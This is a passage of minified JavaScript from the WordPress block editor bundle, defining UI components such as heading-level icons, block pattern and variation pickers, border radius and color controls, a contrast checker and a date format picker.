0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z"})}),3:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z"})}),4:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z"})}),5:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z"})}),6:(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z"})})};function oS({level:e}){return nS[e]?(0,Nt.jsx)(ne.Icon,{icon:nS[e]}):null}const iS=[1,2,3,4,5,6],rS={className:"block-library-heading-level-dropdown"};function lS({options:e=iS,value:t,onChange:n}){const o=e.filter((e=>0===e||iS.includes(e))).sort(((e,t)=>e-t));return(0,Nt.jsx)(ne.ToolbarDropdownMenu,{popoverProps:rS,icon:(0,Nt.jsx)(oS,{level:t}),label:(0,Je.__)("Change level"),controls:o.map((e=>{const o=e===t;return{icon:(0,Nt.jsx)(oS,{level:e}),title:0===e?(0,Je.__)("Paragraph"):(0,Je.sprintf)(// translators: %d: heading level e.g: "1", "2", "3" // translators: %d: heading level e.g: "1", "2", "3" (0,Je.__)("Heading %d"),e),isActive:o,onClick(){n(e)},role:"menuitemradio"}}))})}const sS=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),aS=function({icon:e=sS,label:t=(0,Je.__)("Choose variation"),instructions:n=(0,Je.__)("Select a variation to start with:"),variations:o,onSelect:i,allowSkip:r}){const l=ms("block-editor-block-variation-picker",{"has-many-variations":o.length>4});return(0,Nt.jsxs)(ne.Placeholder,{icon:e,label:t,instructions:n,className:l,children:[(0,Nt.jsx)("ul",{className:"block-editor-block-variation-picker__variations",role:"list","aria-label":(0,Je.__)("Block variations"),children:o.map((e=>(0,Nt.jsxs)("li",{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,variant:"tertiary",icon:e.icon&&e.icon.src?e.icon.src:e.icon,iconSize:48,onClick:()=>i(e),className:"block-editor-block-variation-picker__variation",label:e.description||e.title}),(0,Nt.jsx)("span",{className:"block-editor-block-variation-picker__variation-label",children:e.title})]},e.name)))}),r&&(0,Nt.jsx)("div",{className:"block-editor-block-variation-picker__skip",children:(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,variant:"link",onClick:()=>i(),children:(0,Je.__)("Skip")})})]})},cS="carousel",uS="grid",dS=({onBlockPatternSelect:e})=>(0,Nt.jsx)("div",{className:"block-editor-block-pattern-setup__actions",children:(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:e,children:(0,Je.__)("Choose")})}),pS=({handlePrevious:e,handleNext:t,activeSlide:n,totalSlides:o})=>(0,Nt.jsxs)("div",{className:"block-editor-block-pattern-setup__navigation",children:[(0,Nt.jsx)(ne.Button,{size:"compact",icon:(0,Je.isRTL)()?Xk:Qk,label:(0,Je.__)("Previous pattern"),onClick:e,disabled:0===n,accessibleWhenDisabled:!0}),(0,Nt.jsx)(ne.Button,{size:"compact",icon:(0,Je.isRTL)()?Qk:Xk,label:(0,Je.__)("Next pattern"),onClick:t,disabled:n===o-1,accessibleWhenDisabled:!0})]}),hS=({viewMode:e,setViewMode:t,handlePrevious:n,handleNext:o,activeSlide:i,totalSlides:r,onBlockPatternSelect:l})=>{const s=e===cS,a=(0,Nt.jsxs)("div",{className:"block-editor-block-pattern-setup__display-controls",children:[(0,Nt.jsx)(ne.Button,{size:"compact",icon:ed,label:(0,Je.__)("Carousel view"),onClick:()=>t(cS),isPressed:s}),(0,Nt.jsx)(ne.Button,{size:"compact",icon:ly,label:(0,Je.__)("Grid view"),onClick:()=>t(uS),isPressed:e===uS})]});return(0,Nt.jsxs)("div",{className:"block-editor-block-pattern-setup__toolbar",children:[s&&(0,Nt.jsx)(pS,{handlePrevious:n,handleNext:o,activeSlide:i,totalSlides:r}),a,s&&(0,Nt.jsx)(dS,{onBlockPatternSelect:l})]})},gS=({viewMode:e,activeSlide:t,patterns:n,onBlockPatternSelect:o,showTitles:i})=>{const r="block-editor-block-pattern-setup__container";if(e===cS){const e=new Map([[t,"active-slide"],[t-1,"previous-slide"],[t+1,"next-slide"]]);return(0,Nt.jsx)("div",{className:"block-editor-block-pattern-setup__carousel",children:(0,Nt.jsx)("div",{className:r,children:(0,Nt.jsx)("div",{className:"carousel-container",children:n.map(((n,o)=>(0,Nt.jsx)(mS,{active:o===t,className:e.get(o)||"",pattern:n},n.name)))})})})}return(0,Nt.jsx)("div",{className:"block-editor-block-pattern-setup__grid",children:(0,Nt.jsx)(ne.Composite,{role:"listbox",className:r,"aria-label":(0,Je.__)("Patterns list"),children:n.map((e=>(0,Nt.jsx)(fS,{pattern:e,onSelect:o,showTitles:i},e.name)))})})};function fS({pattern:e,onSelect:t,showTitles:n}){const o="block-editor-block-pattern-setup-list",{blocks:i,description:r,viewportWidth:l=700}=e,s=(0,p.useInstanceId)(fS,`${o}__item-description`);return(0,Nt.jsx)("div",{className:`${o}__list-item`,children:(0,Nt.jsxs)(ne.Composite.Item,{render:(0,Nt.jsx)("div",{"aria-describedby":r?s:void 0,"aria-label":e.title,className:`${o}__item`}),id:`${o}__pattern__${e.name}`,role:"option",onClick:()=>t(i),children:[(0,Nt.jsx)(hh,{blocks:i,viewportWidth:l}),n&&(0,Nt.jsx)("div",{className:`${o}__item-title`,children:e.title}),!!r&&(0,Nt.jsx)(ne.VisuallyHidden,{id:s,children:r})]})})}function mS({active:e,className:t,pattern:n,minHeight:o}){const{blocks:i,title:r,description:l}=n,s=(0,p.useInstanceId)(mS,"block-editor-block-pattern-setup-list__item-description");return(0,Nt.jsxs)("div",{"aria-hidden":!e,role:"img",className:`pattern-slide ${t}`,"aria-label":r,"aria-describedby":l?s:void 0,children:[(0,Nt.jsx)(hh,{blocks:i,minHeight:o}),!!l&&(0,Nt.jsx)(ne.VisuallyHidden,{id:s,children:l})]})}const vS=({clientId:e,blockName:t,filterPatternsFn:n,onBlockPatternSelect:o,initialViewMode:i=cS,showTitles:r=!1})=>{const[l,s]=(0,u.useState)(i),[a,p]=(0,u.useState)(0),{replaceBlock:h}=(0,d.useDispatch)(hs),g=function(e,t,n){return(0,d.useSelect)((o=>{const{getBlockRootClientId:i,getPatternsByBlockTypes:r,__experimentalGetAllowedPatterns:l}=o(hs),s=i(e);return n?l(s).filter(n):r(t,s)}),[e,t,n])}(e,t,n);if(null==g||!g.length)return null;const f=o||(t=>{const n=t.map((e=>(0,c.cloneBlock)(e)));h(e,n)});return(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsxs)("div",{className:`block-editor-block-pattern-setup view-mode-${l}`,children:[(0,Nt.jsx)(gS,{viewMode:l,activeSlide:a,patterns:g,onBlockPatternSelect:f,showTitles:r}),(0,Nt.jsx)(hS,{viewMode:l,setViewMode:s,activeSlide:a,totalSlides:g.length,handleNext:()=>{p((e=>Math.min(e+1,g.length-1)))},handlePrevious:()=>{p((e=>Math.max(e-1,0)))},onBlockPatternSelect:()=>{f(g[a].blocks)}})]})})};function bS({className:e,onSelectVariation:t,selectedValue:n,variations:o}){return(0,Nt.jsxs)("fieldset",{className:e,children:[(0,Nt.jsx)(ne.VisuallyHidden,{as:"legend",children:(0,Je.__)("Transform to variation")}),o.map((e=>(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,icon:(0,Nt.jsx)(Fa,{icon:e.icon,showColors:!0}),isPressed:n===e.name,label:n===e.name?e.title:(0,Je.sprintf)(/* translators: %s: Name of the block variation */ /* translators: %s: Name of the block variation */(0,Je.__)("Transform to %s"),e.title),onClick:()=>t(e.name),"aria-label":e.title,showTooltip:!0},e.name)))]})}function kS({className:e,onSelectVariation:t,selectedValue:n,variations:o}){const i=o.map((({name:e,title:t,description:n})=>({value:e,label:t,info:n})));return(0,Nt.jsx)(ne.DropdownMenu,{className:e,label:(0,Je.__)("Transform to variation"),text:(0,Je.__)("Transform to variation"),popoverProps:{position:"bottom center",className:`${e}__popover`},icon:e_,toggleProps:{iconPosition:"right"},children:()=>(0,Nt.jsx)("div",{className:`${e}__container`,children:(0,Nt.jsx)(ne.MenuGroup,{children:(0,Nt.jsx)(ne.MenuItemsChoice,{choices:i,value:n,onSelect:t})})})})}function _S({className:e,onSelectVariation:t,selectedValue:n,variations:o}){return(0,Nt.jsx)("div",{className:e,children:(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{label:(0,Je.__)("Transform to variation"),value:n,hideLabelFromVision:!0,onChange:t,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,children:o.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOptionIcon,{icon:(0,Nt.jsx)(Fa,{icon:e.icon,showColors:!0}),value:e.name,label:n===e.name?e.title:(0,Je.sprintf)(/* translators: %s: Name of the block variation */ /* translators: %s: Name of the block variation */(0,Je.__)("Transform to %s"),e.title)},e.name)))})})}const yS=function({blockClientId:e}){const{updateBlockAttributes:t}=(0,d.useDispatch)(hs),{activeBlockVariation:n,variations:o,isContentOnly:i}=(0,d.useSelect)((t=>{const{getActiveBlockVariation:n,getBlockVariations:o}=t(c.store),{getBlockName:i,getBlockAttributes:r,getBlockEditingMode:l}=t(hs),s=e&&i(e),{hasContentRoleAttribute:a}=ge(t(c.store)),u=null==a?void 0:a(s);return{activeBlockVariation:n(s,r(e)),variations:s&&o(s,"transform"),isContentOnly:"contentOnly"===l(e)&&!u}}),[e]),r=null==n?void 0:n.name,l=(0,u.useMemo)((()=>{const e=new Set;return!!o&&(o.forEach((t=>{var n;t.icon&&e.add((null===(n=t.icon)||void 0===n?void 0:n.src)||t.icon)})),e.size===o.length)}),[o]);if(null==o||!o.length||i)return null;const s=o.length>5,a=l?s?bS:_S:kS;return(0,Nt.jsx)(a,{className:"block-editor-block-variation-transforms",onSelectVariation:n=>{t(e,{...o.find((({name:e})=>e===n)).attributes})},selectedValue:r,variations:o})},xS=(0,u.createContext)({user:{},base:{},merged:{},setUserConfig:()=>{}}),SS={top:{icon:Ja,title:(0,Je._x)("Align top","Block vertical alignment setting")},center:{icon:ec,title:(0,Je._x)("Align middle","Block vertical alignment setting")},bottom:{icon:tc,title:(0,Je._x)("Align bottom","Block vertical alignment setting")},stretch:{icon:oc,title:(0,Je._x)("Stretch to fill","Block vertical alignment setting")},"space-between":{icon:nc,title:(0,Je._x)("Space between","Block vertical alignment setting")}},wS=["top","center","bottom"],CS=function({value:e,onChange:t,controls:n=wS,isCollapsed:o=!0,isToolbar:i}){function r(n){return()=>t(e===n?void 0:n)}const l=SS[e],s=SS.top,a=i?ne.ToolbarGroup:ne.ToolbarDropdownMenu,c=i?{isCollapsed:o}:{};return(0,Nt.jsx)(a,{icon:l?l.icon:s.icon,label:(0,Je._x)("Change vertical alignment","Block vertical alignment setting label"),controls:n.map((t=>({...SS[t],isActive:e===t,role:o?"menuitemradio":void 0,onClick:r(t)}))),...c})},BS=e=>(0,Nt.jsx)(CS,{...e,isToolbar:!1}),IS=e=>(0,Nt.jsx)(CS,{...e,isToolbar:!0});function jS(e){return[...e].sort(((t,n)=>e.filter((e=>e===n)).length-e.filter((e=>e===t)).length)).shift()}function ES(e={}){const{flat:t,...n}=e;return t||jS(Object.values(n).filter(Boolean))||"px"}function TS(e={}){if("string"==typeof e)return e;const t=Object.values(e).map((e=>(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(e))),n=t.map((e=>{var t;return null!==(t=e[0])&&void 0!==t?t:""})),o=t.map((e=>e[1])),i=n.every((e=>e===n[0]))?n[0]:"",r=jS(o);return 0===i||i?`${i}${r}`:void 0}function PS(e={}){const t=TS(e);return"string"!=typeof e&&isNaN(parseFloat(t))}function MS(e){return!!e&&("string"==typeof e||!!Object.values(e).filter((e=>!!e||0===e)).length)}function RS({onChange:e,selectedUnits:t,setSelectedUnits:n,values:o,...i}){let r=TS(o);void 0===r&&(r=ES(t));const l=MS(o)&&PS(o),s=l?(0,Je.__)("Mixed"):null;return(0,Nt.jsx)(ne.__experimentalUnitControl,{...i,"aria-label":(0,Je.__)("Border radius"),disableUnits:l,isOnly:!0,value:r,onChange:t=>{const n=!isNaN(parseFloat(t));e(n?t:void 0)},onUnitChange:e=>{n({topLeft:e,topRight:e,bottomLeft:e,bottomRight:e})},placeholder:s,size:"__unstable-large"})}const NS={topLeft:(0,Je.__)("Top left"),topRight:(0,Je.__)("Top right"),bottomLeft:(0,Je.__)("Bottom left"),bottomRight:(0,Je.__)("Bottom right")};function AS({onChange:e,selectedUnits:t,setSelectedUnits:n,values:o,...i}){const r=t=>n=>{if(!e)return;const o=isNaN(parseFloat(n))?void 0:n;e({...l,[t]:o})},l="string"!=typeof o?o:{topLeft:o,topRight:o,bottomLeft:o,bottomRight:o};return(0,Nt.jsx)("div",{className:"components-border-radius-control__input-controls-wrapper",children:Object.entries(NS).map((([e,o])=>{const[s,a]=(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(l[e]),c=l[e]?a:t[e]||t.flat;return(0,Nt.jsx)(ne.Tooltip,{text:o,placement:"top",children:(0,Nt.jsx)("div",{className:"components-border-radius-control__tooltip-wrapper",children:(0,Nt.jsx)(ne.__experimentalUnitControl,{...i,"aria-label":o,value:[s,c].join(""),onChange:r(e),onUnitChange:(u=e,e=>{const o={...t};o[u]=e,n(o)}),size:"__unstable-large"})})},e);var u}))})}const LS=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z"})}),DS=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z"})});function OS({isLinked:e,...t}){const n=e?(0,Je.__)("Unlink radii"):(0,Je.__)("Link radii");return(0,Nt.jsx)(ne.Button,{...t,className:"component-border-radius-control__linked-button",size:"small",icon:e?LS:DS,iconSize:24,label:n})}const zS={topLeft:void 0,topRight:void 0,bottomLeft:void 0,bottomRight:void 0},FS=0,VS={px:100,em:20,rem:20};function HS({onChange:e,values:t}){const[n,o]=(0,u.useState)(!MS(t)||!PS(t)),[i,r]=(0,u.useState)({flat:"string"==typeof t?(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(t)[1]:void 0,topLeft:(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(null==t?void 0:t.topLeft)[1],topRight:(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(null==t?void 0:t.topRight)[1],bottomLeft:(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(null==t?void 0:t.bottomLeft)[1],bottomRight:(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(null==t?void 0:t.bottomRight)[1]}),[l]=Vs("spacing.units"),s=(0,ne.__experimentalUseCustomUnits)({availableUnits:l||["px","em","rem"]}),a=ES(i),c=s&&s.find((e=>e.value===a)),d=(null==c?void 0:c.step)||1,[p]=(0,ne.__experimentalParseQuantityAndUnitFromRawValue)(TS(t));return(0,Nt.jsxs)("fieldset",{className:"components-border-radius-control",children:[(0,Nt.jsx)(ne.BaseControl.VisualLabel,{as:"legend",children:(0,Je.__)("Radius")}),(0,Nt.jsxs)("div",{className:"components-border-radius-control__wrapper",children:[n?(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(RS,{className:"components-border-radius-control__unit-control",values:t,min:FS,onChange:e,selectedUnits:i,setSelectedUnits:r,units:s}),(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Border radius"),hideLabelFromVision:!0,className:"components-border-radius-control__range-control",value:null!=p?p:"",min:FS,max:VS[a],initialPosition:0,withInputField:!1,onChange:t=>{e(void 0!==t?`${t}${a}`:void 0)},step:d,__nextHasNoMarginBottom:!0})]}):(0,Nt.jsx)(AS,{min:FS,onChange:e,selectedUnits:i,setSelectedUnits:r,values:t||zS,units:s}),(0,Nt.jsx)(OS,{onClick:()=>o(!n),isLinked:n})]})]})}const GS=(0,p.createHigherOrderComponent)((e=>t=>{const[n,o,i,r,l]=Vs("color.palette.default","color.palette.theme","color.palette.custom","color.custom","color.defaultPalette"),s=l?[...o||[],...n||[],...i||[]]:[...o||[],...i||[]],{colors:a=s,disableCustomColors:c=!r}=t,u=a&&a.length>0||!c;return(0,Nt.jsx)(e,{...t,colors:a,disableCustomColors:c,hasColorsToChoose:u})}),"withColorContext"),$S=GS(ne.ColorPalette),{Tabs:US}=ge(ne.privateApis),WS=["colors","disableCustomColors","gradients","disableCustomGradients"],KS={color:"color",gradient:"gradient"};function ZS({colors:e,gradients:t,disableCustomColors:n,disableCustomGradients:o,__experimentalIsRenderedInSidebar:i,className:r,label:l,onColorChange:s,onGradientChange:a,colorValue:c,gradientValue:u,clearable:d,showTitle:p=!0,enableAlpha:h,headingLevel:g}){const f=s&&(e&&e.length>0||!n),m=a&&(t&&t.length>0||!o);if(!f&&!m)return null;const v={[KS.color]:(0,Nt.jsx)(ne.ColorPalette,{value:c,onChange:m?e=>{s(e),a()}:s,colors:e,disableCustomColors:n,__experimentalIsRenderedInSidebar:i,clearable:d,enableAlpha:h,headingLevel:g}),[KS.gradient]:(0,Nt.jsx)(ne.GradientPicker,{value:u,onChange:f?e=>{a(e),s()}:a,gradients:t,disableCustomGradients:o,__experimentalIsRenderedInSidebar:i,clearable:d,headingLevel:g})},b=e=>(0,Nt.jsx)("div",{className:"block-editor-color-gradient-control__panel",children:v[e]});return(0,Nt.jsx)(ne.BaseControl,{__nextHasNoMarginBottom:!0,className:ms("block-editor-color-gradient-control",r),children:(0,Nt.jsx)("fieldset",{className:"block-editor-color-gradient-control__fieldset",children:(0,Nt.jsxs)(ne.__experimentalVStack,{spacing:1,children:[p&&(0,Nt.jsx)("legend",{children:(0,Nt.jsx)("div",{className:"block-editor-color-gradient-control__color-indicator",children:(0,Nt.jsx)(ne.BaseControl.VisualLabel,{children:l})})}),f&&m&&(0,Nt.jsx)("div",{children:(0,Nt.jsxs)(US,{defaultTabId:u?KS.gradient:!!f&&KS.color,children:[(0,Nt.jsxs)(US.TabList,{children:[(0,Nt.jsx)(US.Tab,{tabId:KS.color,children:(0,Je.__)("Color")}),(0,Nt.jsx)(US.Tab,{tabId:KS.gradient,children:(0,Je.__)("Gradient")})]}),(0,Nt.jsx)(US.TabPanel,{tabId:KS.color,className:"block-editor-color-gradient-control__panel",focusable:!1,children:v.color}),(0,Nt.jsx)(US.TabPanel,{tabId:KS.gradient,className:"block-editor-color-gradient-control__panel",focusable:!1,children:v.gradient})]})}),!m&&b(KS.color),!f&&b(KS.gradient)]})})})}function qS(e){const[t,n,o,i]=Vs("color.palette","color.gradients","color.custom","color.customGradient");return(0,Nt.jsx)(ZS,{colors:t,gradients:n,disableCustomColors:!o,disableCustomGradients:!i,...e})}const YS=function(e){return WS.every((t=>e.hasOwnProperty(t)))?(0,Nt.jsx)(ZS,{...e}):(0,Nt.jsx)(qS,{...e})};function XS({onChange:e,value:t,...n}){return(0,Nt.jsx)(YS,{...n,onColorChange:e,colorValue:t,gradients:[],disableCustomGradients:!0})}X([Q,te]);const QS=function({backgroundColor:e,fallbackBackgroundColor:t,fallbackTextColor:n,fallbackLinkColor:o,fontSize:i,isLargeText:r,textColor:l,linkColor:s,enableAlphaChecker:a=!1}){const c=e||t;if(!c)return null;const u=l||n,d=s||o;if(!u&&!d)return null;const p=[{color:u,description:(0,Je.__)("text color")},{color:d,description:(0,Je.__)("link color")}],h=q(c),g=h.alpha()<1,f=h.brightness(),m={level:"AA",size:r||!1!==r&&i>=24?"large":"small"};let v="",b="";for(const e of p){if(!e.color)continue;const t=q(e.color),n=t.isReadable(h,m),o=t.alpha()<1;if(!n){if(g||o)continue;v=f<t.brightness()?(0,Je.sprintf)(// translators: %s is a type of text color, e.g., "text color" or "link color". // translators: %s is a type of text color, e.g., "text color" or "link color". (0,Je.__)("This color combination may be hard for people to read. Try using a darker background color and/or a brighter %s."),e.description):(0,Je.sprintf)(// translators: %s is a type of text color, e.g., "text color" or "link color". // translators: %s is a type of text color, e.g., "text color" or "link color". (0,Je.__)("This color combination may be hard for people to read. Try using a brighter background color and/or a darker %s."),e.description),b=(0,Je.__)("This color combination may be hard for people to read.");break}o&&a&&(v=(0,Je.__)("Transparent text may be hard for people to read."),b=(0,Je.__)("Transparent text may be hard for people to read."))}return v?((0,br.speak)(b),(0,Nt.jsx)("div",{className:"block-editor-contrast-checker",children:(0,Nt.jsx)(ne.Notice,{spokenMessage:null,status:"warning",isDismissible:!1,children:v})})):null},JS=window.wp.date,ew=new Date;function tw({format:e,defaultFormat:t,onChange:n}){return(0,Nt.jsxs)(ne.__experimentalVStack,{as:"fieldset",spacing:4,className:"block-editor-date-format-picker",children:[(0,Nt.jsx)(ne.VisuallyHidden,{as:"legend",children:(0,Je.__)("Date format")}),(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Default format"),help:`${(0,Je.__)("Example:")} ${(0,JS.dateI18n)(t,ew)}`,checked:!e,onChange:e=>n(e?null:t)}),e&&(0,Nt.jsx)(nw,{format:e,onChange:n})]})}function nw({format:e,onChange:t}){var n;const o=[...[...new Set([/* translators: See https://www.php.net/manual/datetime.format.php */"Y-m-d",/* translators: See https://www.php.net/manual/datetime.format.php */ /* translators: See https://www.php.net/manual/datetime.format.php */(0,Je._x)("n/j/Y","short date format"),/* translators: See https://www.php.net/manual/datetime.format.php */ /* translators: See https://www.php.net/manual/datetime.format.php */(0,Je._x)("n/j/Y g:i A","short date format with time"),/* translators: See https://www.php.net/manual/datetime.format.php */ /* translators: See https://www.php.net/manual/datetime.format.php */(0,Je._x)("M j, Y","medium date format"),/* translators: See https://www.php.net/manual/datetime.format.php */ /* translators: See https://www.php.net/manual/datetime.format.php */(0,Je._x)("M j, Y g:i A","medium date format with time"),/* translators: See https://www.php.net/manual/datetime.format.php */ /* translators: See https://www.php.net/manual/datetime.format.php */(0,Je._x)("F j, Y","long date format"),/* translators: See https://www.php.net/manual/datetime.format.php */ /* translators: See https://www.php.net/manual/datetime.format.php */(0,Je._x)("M j","short date format without the year")])].map(((e,t)=>({key:`suggested-${t}`,name:(0,JS.dateI18n)(e,ew),format:e}))),{key:"human-diff",name:(0,JS.humanTimeDiff)(ew),format:"human-diff"}],i={key:"custom",name:(0,Je.__)("Custom"),className:"block-editor-date-format-picker__custom-format-select-control__custom-option",hint:(0,Je.__)("Enter your own date format")},[r,l]=(0,u.useState)((()=>!!e&&!o.some((t=>t.format===e))));return(0,Nt.jsxs)(ne.__experimentalVStack,{children:[(0,Nt.jsx)(ne.CustomSelectControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("Choose a format"),options:[...o,i],value:r?i:null!==(n=o.find((t=>t.format===e)))&&void 0!==n?n:i,onChange:({selectedItem:e})=>{e===i?l(!0):(l(!1),t(e.format))}}),r&&(0,Nt.jsx)(ne.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Custom format"),hideLabelFromVision:!0,help:(0,u.createInterpolateElement)((0,Je.__)("Enter a date or time <Link>format string</Link>."),{Link:(0,Nt.jsx)(ne.ExternalLink,{href:(0,Je.__)("https://wordpress.org/documentation/article/customize-date-and-time-format/")})}),value:e,onChange:e=>t(e)})]})}ew.setDate(20),ew.setMonth(ew.getMonth()-3),4===ew.getMonth()&&ew.setMonth(3);const ow=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M12 4 4 19h16L12 4zm0 3.2 5.5 10.3H12V7.2z"})}),iw=function e({id:t,colorPalette:n,duotonePalette:o,disableCustomColors:i,disableCustomDuotone:r,value:l,onChange:s}){let a;a="unset"===l?(0,Nt.jsx)(ne.ColorIndicator,{className:"block-editor-duotone-control__unset-indicator"}):l?(0,Nt.jsx)(ne.DuotoneSwatch,{values:l}):(0,Nt.jsx)(Ua,{icon:ow});const c=(0,Je.__)("Apply duotone 